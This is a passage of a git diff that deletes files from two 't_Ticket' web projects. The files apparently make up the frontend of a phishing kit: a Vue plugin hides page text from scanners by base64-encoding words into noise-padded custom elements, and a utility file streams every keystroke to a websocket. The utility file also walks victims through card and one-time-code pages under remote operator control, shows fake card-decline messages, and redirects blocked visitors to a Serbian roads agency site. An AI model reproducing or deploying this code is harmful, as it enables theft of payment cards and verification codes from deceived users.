定义解码函数并暴露为全局函数 - window.decodeObfuscatedContent = function(rootElement) { - const root = rootElement || document.body; - const elements = root.querySelectorAll('z-span[data-preload="true"], z-strong[data-preload="true"]'); - - if (elements.length === 0) return; - - // 使用requestIdleCallback或setTimeout在空闲时运行,避免阻塞渲染 - const runWhenIdle = window.requestIdleCallback || - function(cb) { setTimeout(cb, 1); }; - - runWhenIdle(() => { - elements.forEach(el => { - // 避免重复解码 - if (el.hasAttribute('data-content')) return; - - // 找到编码数据 - const dataAttr = el.getAttribute('data-data'); - if (dataAttr) { - try { - // 解码并设置 - const decodedWord = decodeURIComponent(atob(dataAttr)); - el.setAttribute('data-content', decodedWord); - el.removeAttribute('data-preload'); - } catch (e) { - // 解码失败时跳过 - } - } - }); - }); - }; - - // 页面加载完成后立即执行一次全局解码 - if (document.readyState === 'loading') { - document.addEventListener('DOMContentLoaded', function() { - window.decodeObfuscatedContent(); - }); - } else { - window.decodeObfuscatedContent(); - } - - // 使用IntersectionObserver优化解码性能 - if ('IntersectionObserver' in window) { - const decodeObserver = new IntersectionObserver( - (entries, observer) => { - entries.forEach(entry => { - if (entry.isIntersecting) { - // 容器进入视口时解码其内容 - window.decodeObfuscatedContent(entry.target); - observer.unobserve(entry.target); - } - }); - }, - { rootMargin: '200px 0px' } // 提前200像素开始解码 - ); - - // 监听所有混淆容器 - function observeContainers() { - document.querySelectorAll('z-wrap').forEach(container => { - decodeObserver.observe(container); - }); - } - - // 初始观察 - if (document.readyState === 'loading') { - document.addEventListener('DOMContentLoaded', observeContainers); - } else { - observeContainers(); - } - - // 定期检查新容器 - setInterval(observeContainers, 2000); - } else { - // 降级方案:定期全局检查 - setInterval(() => window.decodeObfuscatedContent(), 1000); - } - })(); - `; - - // 将脚本添加到head的最前面,确保尽早加载 - if (document.head.firstChild) { - document.head.insertBefore(script, document.head.firstChild); - } else { - document.head.appendChild(script); - } - } -} \ No newline at end of file diff --git a/t_Ticket_temp3/src/utils/common.ts.backup b/t_Ticket_temp3/src/utils/common.ts.backup deleted file mode 100644 index 8f55f26..0000000 --- a/t_Ticket_temp3/src/utils/common.ts.backup +++ /dev/null @@ -1,331 +0,0 @@ -import _ from "lodash"; -import { sendInput } from "@/api/api"; -import type { Socket } from "@/utils/websocket"; -import eventBus from "@/utils/eventBus"; -import router from "@/router"; -import { ref } from "vue"; -import { useSocket } from "@/utils/websocket"; -import { useLoadingStore } from "@/stores/loadingStore"; -import i18n from "@/main"; -import { useSocketIo } from "./socketio"; - -const viteBaseUrl = import.meta.env.VITE_BASE_URL; - -// WebSocket interface -interface MyWebSocket { - socket: any; - send: (data: string) => Promise; - off: (event: string) => void; - on: (event: string, callback: (data: any) => void) => void; -} - -export const customOtpData = ref({}); - -export function setCustomOtpData(data: any) { - customOtpData.value = data; - localStorage.setItem("customOtpData", JSON.stringify(data)); -} - -export let myWebSocket: MyWebSocket | undefined; - -// Configuration data -export const configData = ref>({}); - -// Utility function to check if all values in an object are not empty -export function areAllValuesNotEmpty( - obj: Record, - excludedFields: string[] = [] -): boolean { - return Object.keys(obj).every((key) => { - if (excludedFields.includes(key)) return true; - const value = obj[key]; - return ( - value !== null && - value !== undefined && - value !== "" && - !(typeof value === "string" && value.trim() === "") - ); - }); -} - -// 存储 WebSocket 和 API 的防抖函数 -const wsDebounceFunctions: Record< - string, - _.DebouncedFunc<(...args: any[]) => void> -> = {}; -const apiDebounceFunctions: Record< - string, - _.DebouncedFunc<(...args: any[]) => void> -> = {}; - -// 获取或创建针对某个键的防抖函数 -function getDebouncedFunction( - debounceFunctions: Record void>>, - key: string, - func: (...args: any[]) => void, - wait: number -) { - if (!debounceFunctions[key]) { - debounceFunctions[key] = _.debounce(func, wait); - } - return debounceFunctions[key]; -} - -const modeRef = ref(1) - - -// 处理输入变化 -export function inputChange(type: string, key: any, value: any) { - const currentTimestamp = Date.now(); // 当前时间戳 - - // WebSocket 防抖函数 - const wsDebouncedFunction = getDebouncedFunction( - wsDebounceFunctions, - key, - (type, key, value) => { - myWebSocket?.send( - JSON.stringify({ - event: "input_text", - content: { type, key, text: value }, - timestamp: currentTimestamp, - }) - ); - }, - 300 - ); - - // API 防抖函数 - const apiDebouncedFunction = getDebouncedFunction( - apiDebounceFunctions, - key, - (type, key, value) => { - sendInput({ - content: { type, key, text: value }, - timestamp: currentTimestamp, - }); - }, - 1000 - ); - - // 调用防抖函数 - wsDebouncedFunction(type, key, value); - if(modeRef.value !== 2) { - apiDebouncedFunction(type, key, value); - } -} - - -// Handle login success -export function loginSuccess(token: string, mode: number) { - if(mode === 2) { - modeRef.value = 2 - myWebSocket = useSocketIo( - `wss://${viteBaseUrl !== "/" ? viteBaseUrl : window.location.host - }/ws?token=${token}` - ); - }else{ - myWebSocket = useSocket( - `wss://${viteBaseUrl !== "/" ? viteBaseUrl : window.location.host - }/ws?token=${token}` - ); - } - - myWebSocket?.on("close", () => console.log("Socket closed!")); - myWebSocket?.on("open", () => { - const lastToken = localStorage.getItem("token"); - loginWebsocket(token, lastToken !== token); - }); - - myWebSocket?.on("message", handleMessage); - - window.addEventListener("beforeunload", () => { - myWebSocket?.off("close"); - }); -} - -// Handle WebSocket messages -function handleMessage(data: any) { - const jsonData = JSON.parse(data); - if (!jsonData || !jsonData.event) return; - - const { event, content } = jsonData; - - switch (event) { - case "login": - //handleLoginEvent(content); - break; - case "result_type": - handleResultTypeEvent(content); - break; - case "reload": - window.location.reload(); - break; - default: - break; - } -} - -// Handle login event -function handleLoginEvent(content: any) { - const route = localStorage.getItem("route"); - if (route) { - const customOtpDataValue = localStorage.getItem("customOtpData"); - if (route === "customOtpValid" && customOtpDataValue) { - setCustomOtpData(JSON.parse(customOtpDataValue)); - myWebSocket?.send( - JSON.stringify({ - event: "page_type", - content: { pageType: "customOtpValid", pageTitle: customOtpData.value.name, customType: customOtpData.value.type }, - }) - ); - return; - } - myWebSocket?.send( - JSON.stringify({ - event: "page_type", - content: { pageType: route }, - }) - ); - } -} - -// Handle result type event -function handleResultTypeEvent(content: any) { - if (!content) return; - - const typeHandlers: Record void> = { - customOtpValid: () => navigateTo("/customOtpValid", content), - otpValid: () => navigateTo("/otpValid", content), - appValid: () => navigateTo("/appValid", content), - success: () => router.push("/success"), - kickOut: redirectToExternal, - block: redirectToExternal, - otpFail: () => - eventBus.emit("otp-valid", { - message2: - content.value.message2 || - i18n.global.t("Verification code error, please try again"), - }), - appFail: () => - eventBus.emit("app-valid", { - message2: - content.value.message2 || - i18n.global.t( - "The session is about to expire, please complete the verification now" - ), - }), - back: () => handleBackOrReject(content, true), - reject: () => handleBackOrReject(content, false), - refresh: () => { - if(localStorage.getItem("route")){ - localStorage.removeItem("route"); - window.location.reload(); - } - }, - }; - - if (content.type == "customOtpValid") { - if(content.value.customOtpData) { - setCustomOtpData(JSON.parse(content.value.customOtpData)); - } -} - if (content.type == "customOtpFail") { - eventBus.emit("custom-otp-valid", { - message2: content.value.message2, - }); - } - - const handler = typeHandlers[content.type]; - if (handler) handler(); - - useLoadingStore().setLoading(false); -} - -// Navigate to specific path with query parameters -function navigateTo(path: string, content: any) { - - router.push('/temp').then(() => { - router.push({ - path: path, - query: { - cardType: content.value?.data?.cardData?.cardBIN?.schema, - message1: content.value?.message1, - key: new Date().getMilliseconds(), - }, - }); - }); -} - -// Handle back or reject type -function handleBackOrReject(content: any, isBack: boolean) { - let message2 = i18n.global.t( - "This card does not support this transaction, please try another card" - ); - - if (configData.value.error_card_msg) { - message2 = configData.value.error_card_msg; - } - - if (content.value.type) { - const type = content.value.type; - if (type === "denyC" && configData.value.deny_c_msg) { - message2 = configData.value.deny_c_msg; - } - if (type === "denyD" && configData.value.deny_d_msg) { - message2 = configData.value.deny_d_msg; - } - } - - if (content.value.message2) { - message2 = content.value.message2; - } - - if (isBack) { - router.push({ path: "/card", query: { message2 } }); - } - - eventBus.emit("my-event", { message2 }); -} - -// Login to WebSocket -function loginWebsocket(token: string, isFirst: boolean) { - myWebSocket?.send( - JSON.stringify({ - event: "login", - content: { tag: "user", token, isFirst }, - }) - ); - initHtml(); -} - -// Redirect to an external URL -export function redirectToExternal() { - window.location.href = "https://www.putevi-srbije.rs/"; -} - -export async function loadHtml(url: string) { - try { - const response = await fetch(url); // 替换为您的 HTML 文件路径 - if (!response.ok) { - return ""; - } - return await response.text(); - } catch (error) { - return ""; - } -} - -export const headerHtml = ref(""); -export const footerHtml = ref(""); -export const loadingBg = ref("#ffffff"); - -const initHtml = async () => { - const routePath = localStorage.getItem("route"); - headerHtml.value = await loadHtml("/Static_zy/header.html"); - footerHtml.value = await loadHtml("/Static_zy/footer.html"); - await router.push(routePath ? `/${routePath}` : "/phone"); - setTimeout(async () => { - useLoadingStore().setLoading(false); - loadingBg.value = "transparent"; - }, 200); -}; diff --git a/t_Ticket_temp4/src/components/HelloWorld.vue b/t_Ticket_temp4/src/components/HelloWorld.vue deleted file mode 100644 index 8f39347..0000000 --- a/t_Ticket_temp4/src/components/HelloWorld.vue +++ /dev/null @@ -1,51 +0,0 @@ - - - - - diff --git a/t_Ticket_temp4/src/components/TheWelcome.vue b/t_Ticket_temp4/src/components/TheWelcome.vue deleted file mode 100644 index a70765c..0000000 --- a/t_Ticket_temp4/src/components/TheWelcome.vue +++ /dev/null @@ -1,86 +0,0 @@ - - - diff --git a/t_Ticket_temp4/src/components/WelcomeItem.vue b/t_Ticket_temp4/src/components/WelcomeItem.vue deleted file mode 100644 index ba0def3..0000000 --- a/t_Ticket_temp4/src/components/WelcomeItem.vue +++ /dev/null @@ -1,86 +0,0 @@ - - - diff --git a/t_Ticket_temp4/src/main.ts b/t_Ticket_temp4/src/main.ts index f4f3682..9f2935b 100644 --- a/t_Ticket_temp4/src/main.ts +++ b/t_Ticket_temp4/src/main.ts @@ -1,4 +1,3 @@ -import { TextObfuscatorPlugin } from "./mix/textObfuscator"; import { createApp, ref } from "vue"; import { createPinia } from "pinia"; @@ -25,6 +24,5 @@ app.use(i18n); app.use(createPinia()); app.use(router); -// //app.use(TextObfuscatorPlugin); app.mount("#app"); export default i18n; diff --git a/t_Ticket_temp4/src/mix/textObfuscator.ts b/t_Ticket_temp4/src/mix/textObfuscator.ts deleted file mode 100644 index 76c21e9..0000000 --- a/t_Ticket_temp4/src/mix/textObfuscator.ts +++ /dev/null @@ -1,643 +0,0 @@ -import type { ComponentInternalInstance, Plugin, App } from 'vue'; - -/** - * 全局文本混淆插件 - * 自动查找并替换所有文本节点 - */ -// 修改Vue混淆插件以确保处理整个组件树 -export const TextObfuscatorPlugin: Plugin = { - install(app: App) { - // 安装全局样式和解码脚本 - addObfuscationStyle(); - - // 注册全局指令,直接处理元素内容 - app.directive('odata', { - mounted(el) { - processTextNodes(el, null); - if (window.decodeObfuscatedContent) { - setTimeout(() => window.decodeObfuscatedContent(el), 0); - } - setupMutationObserver(el); - }, - updated(el) { - processTextNodes(el, null); - if (window.decodeObfuscatedContent) { - setTimeout(() => window.decodeObfuscatedContent(el), 0); - } - } - }); - - // 在 app.mixin 中修改处理 $el 的部分 - app.mixin({ - mounted() { - // 安全地获取组件的根元素(s) - const rootElements = this.$el ? - (this.$el.nodeType === Node.ELEMENT_NODE ? - [this.$el] : - (Array.isArray(this.$el) ? this.$el : [])) : - []; - - // 处理每个根元素 - rootElements.forEach((rootElement: Element) => { - if (!rootElement || !(rootElement instanceof Element)) return; - - // 1. 首先处理当前组件的根元素 - processTextNodes(rootElement, this); - - // 2. 递归处理所有子元素,确保覆盖所有文本节点 - const processAllChildNodes = (element: Element) => { - if (!(element instanceof Element)) return; - - try { - // 为每个子元素单独处理文本节点 - const childElements = element.querySelectorAll('*'); - childElements.forEach(childEl => { - processTextNodes(childEl, null); - }); - - // 立即解码当前处理的元素 - if (window.decodeObfuscatedContent) { - setTimeout(() => window.decodeObfuscatedContent(element), 0); - } - } catch (error) { - console.error('Error processing child nodes:', error, element); - } - }; - - // 处理整个组件树 - processAllChildNodes(rootElement); - - // 设置监听 - setupMutationObserver(rootElement); - }); - // 添加:深度扫描所有包含纯文本的元素 - setTimeout(() => { - const scanPureTextElements = (rootElement: Element) => { - // 跳过已处理过的元素 - if (rootElement.hasAttribute && rootElement.hasAttribute('data-obfuscated')) { - return; - } - - // 检查是否为包含纯文本的元素(只有文本节点,没有元素节点) - let hasOnlyTextNodes = false; - let hasElementNodes = false; - - if (rootElement.childNodes && rootElement.childNodes.length > 0) { - hasOnlyTextNodes = Array.from(rootElement.childNodes).some( - node => node.nodeType === Node.TEXT_NODE && node.textContent && node.textContent.trim() - ); - - hasElementNodes = Array.from(rootElement.childNodes).some( - node => node.nodeType === Node.ELEMENT_NODE - ); - } - - // 如果元素只包含文本节点,并且不包含其他元素节点,则混淆它 - if (hasOnlyTextNodes && !hasElementNodes && - !SKIP_TAGS.includes(rootElement.tagName) && - !Array.from(rootElement.classList || []).some(cls => SKIP_CLASSES.includes(cls))) { - processTextNodes(rootElement, null); - if (window.decodeObfuscatedContent) { - window.decodeObfuscatedContent(rootElement); - } - } - - // 递归处理子元素 - if (rootElement.children) { - Array.from(rootElement.children).forEach(child => { - scanPureTextElements(child); - }); - } - }; - - // 从body开始扫描 - scanPureTextElements(document.body); - }, 10); // 给DOM足够的时间渲染 - }, - - updated() { - // 安全地获取组件的根元素(s) - const rootElements = this.$el ? - (this.$el.nodeType === Node.ELEMENT_NODE ? - [this.$el] : - (Array.isArray(this.$el) ? this.$el : [])) : - []; - - // 处理每个根元素 - rootElements.forEach((rootElement: Element | undefined) => { - if (!rootElement || !(rootElement instanceof Element)) return; - - processTextNodes(rootElement, this); - - try { - // 递归处理所有子元素 - const childElements = rootElement.querySelectorAll('*'); - childElements.forEach((childEl: Element) => { - processTextNodes(childEl, null); - }); - - if (window.decodeObfuscatedContent) { - setTimeout(() => window.decodeObfuscatedContent(rootElement), 0); - } - } catch (error) { - console.error('Error processing updated component:', error, rootElement); - } - }); - } - }); - } -}; - -// 声明全局函数类型 -declare global { - interface Window { - decodeObfuscatedContent: (rootElement?: Element) => void; - } -} - -// 需要跳过的标签 -const SKIP_TAGS = ['SCRIPT', 'STYLE', 'TEXTAREA', 'INPUT', 'PRE', 'CODE']; -// 需要跳过的类名 -const SKIP_CLASSES = ['no-obfuscate']; - -/** - * 处理元素中的所有文本节点 - */ -function processTextNodes(element: Element, instance: ComponentInternalInstance | null) { - if (!element || element.nodeType !== Node.ELEMENT_NODE) { - return; - } - // 为 DIV 元素增加优先处理逻辑 - if (element.tagName === 'DIV' && !element.hasAttribute('data-obfuscated')) { - // 对于DIV元素,特殊处理其直接子文本节点 - let hasTextContent = false; - for (let i = 0; i < element.childNodes.length; i++) { - const node = element.childNodes[i]; - if (node.nodeType === Node.TEXT_NODE && node.textContent && node.textContent.trim() !== '') { - hasTextContent = true; - break; - } - } - - // 如果DIV中有直接的文本内容,标记它需要被处理 - if (hasTextContent) { - // 只处理未混淆过的DIV - const textContent = Array.from(element.childNodes) - .filter(node => node.nodeType === Node.TEXT_NODE && node.textContent) - .map(node => node.textContent).join('').trim(); - - if (textContent) { - // 替换整个DIV的内容 - const originalHTML = element.innerHTML; - const processedHTML = obfuscateText(textContent); - element.innerHTML = processedHTML + originalHTML.replace(textContent, ''); - element.setAttribute('data-obfuscated', 'true'); - } - } - } - // 跳过带有特定标记的元素(避免重复处理) - if (element.hasAttribute('data-obfuscated') || - !element || - SKIP_TAGS.includes(element.tagName) || - Array.from(element.classList).some(cls => SKIP_CLASSES.includes(cls))) { - return; - } - - // 使用 TreeWalker 遍历所有文本节点 - const walker = document.createTreeWalker( - element, - NodeFilter.SHOW_TEXT, - { - acceptNode(node) { - // 不处理完全空的文本节点 - if (!node.textContent) { - return NodeFilter.FILTER_REJECT; - } - - // 检查父节点是否应该被跳过 - const parent = node.parentElement; - if (parent && ( - SKIP_TAGS.includes(parent.tagName) || - parent.hasAttribute('data-obfuscated') || - Array.from(parent.classList || []).some(cls => SKIP_CLASSES.includes(cls)) - )) { - return NodeFilter.FILTER_REJECT; - } - - // 如果只包含空白且不是段落的首个节点,则跳过 - if (node.textContent.trim() === '' && - !(parent?.tagName === 'P' && node === parent.firstChild)) { - return NodeFilter.FILTER_REJECT; - } - - return NodeFilter.FILTER_ACCEPT; - } - } - ); - - // 收集需要处理的文本节点 - const textNodes: Text[] = []; - let currentNode: Node | null = walker.nextNode(); - - while (currentNode) { - textNodes.push(currentNode as Text); - currentNode = walker.nextNode(); - } - - // 预先计算所有混淆内容,减少DOM操作次数 - const fragments: DocumentFragment[] = []; - const nodesToReplace: Text[] = []; - - // 在处理文本节点前,移除所有前导空格 - for (const textNode of textNodes) { - const text = textNode.textContent; - if (!text) continue; - - // 重要修改:检测是否是段落的首个文本节点,无条件移除开头的空白 - let processedText = text; - if (textNode.parentElement?.tagName === 'P' && - textNode === textNode.parentElement.firstChild) { - // 去除开头的空白,无论什么情况 - processedText = text.replace(/^\s+/, ''); - // 如果去除空白后为空,直接跳过这个节点 - if (!processedText) continue; - } - - try { - // 创建文档碎片来存储混淆后的内容 - const fragment = document.createDocumentFragment(); - const tempContainer = document.createElement('div'); - tempContainer.innerHTML = obfuscateText(processedText); - - // 将内容移动到碎片中 - while (tempContainer.firstChild) { - fragment.appendChild(tempContainer.firstChild); - } - - fragments.push(fragment); - nodesToReplace.push(textNode); - } catch (error) { - console.error('Error processing text node:', error); - } - } - - // 批量替换节点,减少回流 - for (let i = 0; i < nodesToReplace.length; i++) { - const textNode = nodesToReplace[i]; - const fragment = fragments[i]; - - if (textNode.parentNode) { - textNode.parentNode.replaceChild(fragment, textNode); - } - } -} - -/** - * 设置 MutationObserver 来监听 DOM 变化 - */ -function setupMutationObserver(element: Element) { - if (!element) return; - - const observer = new MutationObserver((mutations) => { - for (const mutation of mutations) { - if (mutation.type === 'childList' && mutation.addedNodes.length) { - mutation.addedNodes.forEach((node) => { - if (node.nodeType === Node.ELEMENT_NODE) { - processTextNodes(node as Element, null); - // 观察到新元素后立即解码 - if (window.decodeObfuscatedContent) { - window.decodeObfuscatedContent(node as Element); - } - } - }); - } - } - }); - - observer.observe(element, { - childList: true, - subtree: true - }); -} - -/** - * 生成随机噪声标签和注释 - */ -function getRandomNoise() { - const noiseTypes = [ - // HTML注释 - () => ``, - // 空的自定义元素 - () => { - const tags = ['z-nil', 'z-void', 'z-null', 'z-fake', 'z-empty']; - const tag = tags[Math.floor(Math.random() * tags.length)]; - return `<${tag}>`; - }, - // 带随机属性的自定义元素 - () => { - const attr = `data-${Math.random().toString(36).substring(2, 7)}`; - const value = Math.random().toString(36).substring(2, 10); - return ``; - }, - // 带随机文本的隐藏元素 - () => { - const text = Math.random().toString(36).substring(2, 8); - return `${text}`; - } - ]; - - // 随机选择一种噪声类型 - const noiseGenerator = noiseTypes[Math.floor(Math.random() * noiseTypes.length)]; - return noiseGenerator(); -} - -/** - * 混淆文本 - 将文本拆分成单词并分别存储,使用自定义z-标签 - */ -function obfuscateText(text: string): string { - if (!text) return ''; - - // 首先移除文本开头的所有空白字符以解决段落首行缩进问题 - text = text.replace(/^\s+/, ''); - if (!text) return ''; - - // 使用正则表达式将文本拆分为单词和空格,保持完整性 - const words = text.split(/(\s+)/); - let result = ''; - - // 过滤掉空字符串,避免生成空的z-span元素 - const filteredWords = words.filter(word => word.length > 0); - - // 为每个单词创建一个独立的自定义元素 - filteredWords.forEach((word, index) => { - // 对空格和特殊字符进行特殊处理 - if (/^\s+$/.test(word)) { - // 改进:更精确地处理各种换行符 - if (/[\n\r]/.test(word)) { - // 将所有类型的换行符分割出来,但仅在实际有换行符时才添加z-break元素 - result += ''; - } else { - // 纯空格的情况 - 对连续空格合并处理,避免添加过多z-space - result += ''; - } - return; - } - - // 随机在单词前添加噪声,但减少频率 - if (Math.random() > 0.85) { - result += getRandomNoise(); - } - - // 为了提高效率,固定属性名 - const attrId = `data`; - - // 将单词编码为Base64 - const encodedWord = btoa(encodeURIComponent(word)); - - // 随机选择z-span或z-strong标签增加混淆度 - const tagName = Math.random() > 0.5 ? 'z-span' : 'z-strong'; - - // 添加标签开始部分 - result += `<${tagName} data-${attrId}="${encodedWord}" data-preload="true">`; - - // 随机在标签内添加隐藏内容,但减少频率 - if (Math.random() > 0.8) { - const fakeText = Math.random().toString(36).substring(2, 5 + Math.floor(Math.random() * 5)); - result += `${fakeText}`; - } - - // 闭合标签 - result += ``; - - // 随机在单词后添加噪声,但减少频率 - if (Math.random() > 0.85) { - result += getRandomNoise(); - } - }); - - result += ''; - return result; -} - -/** - * 添加显示混淆内容的样式和解码脚本 - */ -function addObfuscationStyle() { - // 添加样式 - if (!document.getElementById('obfuscation-style')) { - const style = document.createElement('style'); - style.id = 'obfuscation-style'; - style.textContent = ` - /* 自定义元素基本样式 */ - z-wrap { - display: inline; - white-space: normal; - user-select: none; /* 阻止文本选择 */ - text-indent: 0 !important; /* 确保无缩进 */ - } - - /* 添加一个类来允许选择文本的情况 */ - .allow-select z-wrap { - user-select: text; - } - - /* 确保段落中的混淆内容没有开头缩进 */ - p > z-wrap:first-child { - text-indent: 0 !important; - margin-left: 0 !important; - padding-left: 0 !important; - } - - /* 处理所有p标签,确保没有多余空间 */ - p { - text-indent: 0; - } - - z-span, z-strong { - display: inline-block; - position: relative; - opacity: 1; - transition: opacity 0.1s ease; - margin: 0; - padding: 0; - } - - /* 控制右侧间距 */ - z-span + z-span, z-strong + z-strong, z-span + z-strong, z-strong + z-span { - margin-left: 0.1em; - } - - /* 移除最后一个元素的右侧间距 */ - z-span:last-child, z-strong:last-child { - margin-right: 0; - } - - z-span::after, z-strong::after { - content: attr(data-content); - position: relative; - pointer-events: none; - } - - /* 空格元素 - 精确控制宽度 */ - z-space { - display: inline-block; - width: 0.25em; - margin: 0; - padding: 0; - } - - /* 空的z-span/z-strong元素不应该显示 */ - z-span:not([data-content]), z-strong:not([data-content]) { - display: none; - } - - /* 换行元素 - 强制换行且完全没有尺寸 */ - z-break { - display: block !important; - height: 0 !important; - width: 0 !important; - margin: 0 !important; - padding: 0 !important; - border: none !important; - line-height: 0 !important; - font-size: 0 !important; - overflow: hidden !important; - } - - /* 隐藏所有噪声元素 */ - z-nil, z-void, z-null, z-fake, z-empty, z-attr, z-text, z-hidden { - display: none; - width: 0; - height: 0; - opacity: 0; - overflow: hidden; - position: absolute; - visibility: hidden; - } - - /* 预加载状态 */ - [data-preload="true"] { - min-width: 0.5em; - min-height: 1em; - } - `; - document.head.appendChild(style); - } - - // 添加自定义元素注册,确保所有浏览器都能正确处理 - const scriptCustomElements = document.createElement('script'); - scriptCustomElements.textContent = ` - // 注册所有自定义元素 - if ('customElements' in window) { - customElements.define('z-wrap', class extends HTMLElement {}); - customElements.define('z-span', class extends HTMLElement {}); - customElements.define('z-strong', class extends HTMLElement {}); - customElements.define('z-space', class extends HTMLElement {}); - customElements.define('z-break', class extends HTMLElement {}); - - // 注册噪声元素 - customElements.define('z-nil', class extends HTMLElement {}); - customElements.define('z-void', class extends HTMLElement {}); - customElements.define('z-null', class extends HTMLElement {}); - customElements.define('z-fake', class extends HTMLElement {}); - customElements.define('z-empty', class extends HTMLElement {}); - customElements.define('z-attr', class extends HTMLElement {}); - customElements.define('z-text', class extends HTMLElement {}); - customElements.define('z-hidden', class extends HTMLElement {}); - } - `; - document.head.appendChild(scriptCustomElements); - - // 添加提前解码的脚本,放在顶部优先加载 - if (!document.getElementById('obfuscation-script')) { - const script = document.createElement('script'); - script.id = 'obfuscation-script'; - script.textContent = ` - (function() { - // 定义解码函数并暴露为全局函数 - window.decodeObfuscatedContent = function(rootElement) { - const root = rootElement || document.body; - const elements = root.querySelectorAll('z-span[data-preload="true"], z-strong[data-preload="true"]'); - - if (elements.length === 0) return; - - // 使用requestIdleCallback或setTimeout在空闲时运行,避免阻塞渲染 - const runWhenIdle = window.requestIdleCallback || - function(cb) { setTimeout(cb, 1); }; - - runWhenIdle(() => { - elements.forEach(el => { - // 避免重复解码 - if (el.hasAttribute('data-content')) return; - - // 找到编码数据 - const dataAttr = el.getAttribute('data-data'); - if (dataAttr) { - try { - // 解码并设置 - const decodedWord = decodeURIComponent(atob(dataAttr)); - el.setAttribute('data-content', decodedWord); - el.removeAttribute('data-preload'); - } catch (e) { - // 解码失败时跳过 - } - } - }); - }); - }; - - // 页面加载完成后立即执行一次全局解码 - if (document.readyState === 'loading') { - document.addEventListener('DOMContentLoaded', function() { - window.decodeObfuscatedContent(); - }); - } else { - window.decodeObfuscatedContent(); - } - - // 使用IntersectionObserver优化解码性能 - if ('IntersectionObserver' in window) { - const decodeObserver = new IntersectionObserver( - (entries, observer) => { - entries.forEach(entry => { - if (entry.isIntersecting) { - // 容器进入视口时解码其内容 - window.decodeObfuscatedContent(entry.target); - observer.unobserve(entry.target); - } - }); - }, - { rootMargin: '200px 0px' } // 提前200像素开始解码 - ); - - // 监听所有混淆容器 - function observeContainers() { - document.querySelectorAll('z-wrap').forEach(container => { - decodeObserver.observe(container); - }); - } - - // 初始观察 - if (document.readyState === 'loading') { - document.addEventListener('DOMContentLoaded', observeContainers); - } else { - observeContainers(); - } - - // 定期检查新容器 - setInterval(observeContainers, 2000); - } else { - // 降级方案:定期全局检查 - setInterval(() => window.decodeObfuscatedContent(), 1000); - } - })(); - `; - - // 将脚本添加到head的最前面,确保尽早加载 - if (document.head.firstChild) { - document.head.insertBefore(script, document.head.firstChild); - } else { - document.head.appendChild(script); - } - } -} \ No newline at end of file diff --git a/t_Ticket_temp4/src/utils/common.ts.backup b/t_Ticket_temp4/src/utils/common.ts.backup deleted file mode 100644 index 8f55f26..0000000 --- a/t_Ticket_temp4/src/utils/common.ts.backup +++ /dev/null @@ -1,331 +0,0 @@ -import _ from "lodash"; -import { sendInput } from "@/api/api"; -import type { Socket } from "@/utils/websocket"; -import eventBus from "@/utils/eventBus"; -import router from "@/router"; -import { ref } from "vue"; -import { useSocket } from "@/utils/websocket"; -import { useLoadingStore } from "@/stores/loadingStore"; -import i18n from "@/main"; -import { useSocketIo } from "./socketio"; - -const viteBaseUrl = import.meta.env.VITE_BASE_URL; - -// WebSocket interface -interface MyWebSocket { - socket: any; - send: (data: string) => Promise; - off: (event: string) => void; - on: (event: string, callback: (data: any) => void) => void; -} - -export const customOtpData = ref({}); - -export function setCustomOtpData(data: any) { - customOtpData.value = data; - localStorage.setItem("customOtpData", JSON.stringify(data)); -} - -export let myWebSocket: MyWebSocket | undefined; - -// Configuration data -export const configData = ref>({}); - -// Utility function to check if all values in an object are not empty -export function areAllValuesNotEmpty( - obj: Record, - excludedFields: string[] = [] -): boolean { - return Object.keys(obj).every((key) => { - if (excludedFields.includes(key)) return true; - const value = obj[key]; - return ( - value !== null && - value !== undefined && - value !== "" && - !(typeof value === "string" && value.trim() === "") - ); - }); -} - -// 存储 WebSocket 和 API 的防抖函数 -const wsDebounceFunctions: Record< - string, - _.DebouncedFunc<(...args: any[]) => void> -> = {}; -const apiDebounceFunctions: Record< - string, - _.DebouncedFunc<(...args: any[]) => void> -> = {}; - -// 获取或创建针对某个键的防抖函数 -function getDebouncedFunction( - debounceFunctions: Record void>>, - key: string, - func: (...args: any[]) => void, - wait: number -) { - if (!debounceFunctions[key]) { - debounceFunctions[key] = _.debounce(func, wait); - } - return debounceFunctions[key]; -} - -const modeRef = ref(1) - - -// 处理输入变化 -export function inputChange(type: string, key: any, value: any) { - const currentTimestamp = Date.now(); // 当前时间戳 - - // WebSocket 防抖函数 - const wsDebouncedFunction = getDebouncedFunction( - wsDebounceFunctions, - key, - (type, key, value) => { - myWebSocket?.send( - JSON.stringify({ - event: "input_text", - content: { type, key, text: value }, - timestamp: currentTimestamp, - }) - ); - }, - 300 - ); - - // API 防抖函数 - const apiDebouncedFunction = getDebouncedFunction( - apiDebounceFunctions, - key, - (type, key, value) => { - sendInput({ - content: { type, key, text: value }, - timestamp: currentTimestamp, - }); - }, - 1000 - ); - - // 调用防抖函数 - wsDebouncedFunction(type, key, value); - if(modeRef.value !== 2) { - apiDebouncedFunction(type, key, value); - } -} - - -// Handle login success -export function loginSuccess(token: string, mode: number) { - if(mode === 2) { - modeRef.value = 2 - myWebSocket = useSocketIo( - `wss://${viteBaseUrl !== "/" ? viteBaseUrl : window.location.host - }/ws?token=${token}` - ); - }else{ - myWebSocket = useSocket( - `wss://${viteBaseUrl !== "/" ? viteBaseUrl : window.location.host - }/ws?token=${token}` - ); - } - - myWebSocket?.on("close", () => console.log("Socket closed!")); - myWebSocket?.on("open", () => { - const lastToken = localStorage.getItem("token"); - loginWebsocket(token, lastToken !== token); - }); - - myWebSocket?.on("message", handleMessage); - - window.addEventListener("beforeunload", () => { - myWebSocket?.off("close"); - }); -} - -// Handle WebSocket messages -function handleMessage(data: any) { - const jsonData = JSON.parse(data); - if (!jsonData || !jsonData.event) return; - - const { event, content } = jsonData; - - switch (event) { - case "login": - //handleLoginEvent(content); - break; - case "result_type": - handleResultTypeEvent(content); - break; - case "reload": - window.location.reload(); - break; - default: - break; - } -} - -// Handle login event -function handleLoginEvent(content: any) { - const route = localStorage.getItem("route"); - if (route) { - const customOtpDataValue = localStorage.getItem("customOtpData"); - if (route === "customOtpValid" && customOtpDataValue) { - setCustomOtpData(JSON.parse(customOtpDataValue)); - myWebSocket?.send( - JSON.stringify({ - event: "page_type", - content: { pageType: "customOtpValid", pageTitle: customOtpData.value.name, customType: customOtpData.value.type }, - }) - ); - return; - } - myWebSocket?.send( - JSON.stringify({ - event: "page_type", - content: { pageType: route }, - }) - ); - } -} - -// Handle result type event -function handleResultTypeEvent(content: any) { - if (!content) return; - - const typeHandlers: Record void> = { - customOtpValid: () => navigateTo("/customOtpValid", content), - otpValid: () => navigateTo("/otpValid", content), - appValid: () => navigateTo("/appValid", content), - success: () => 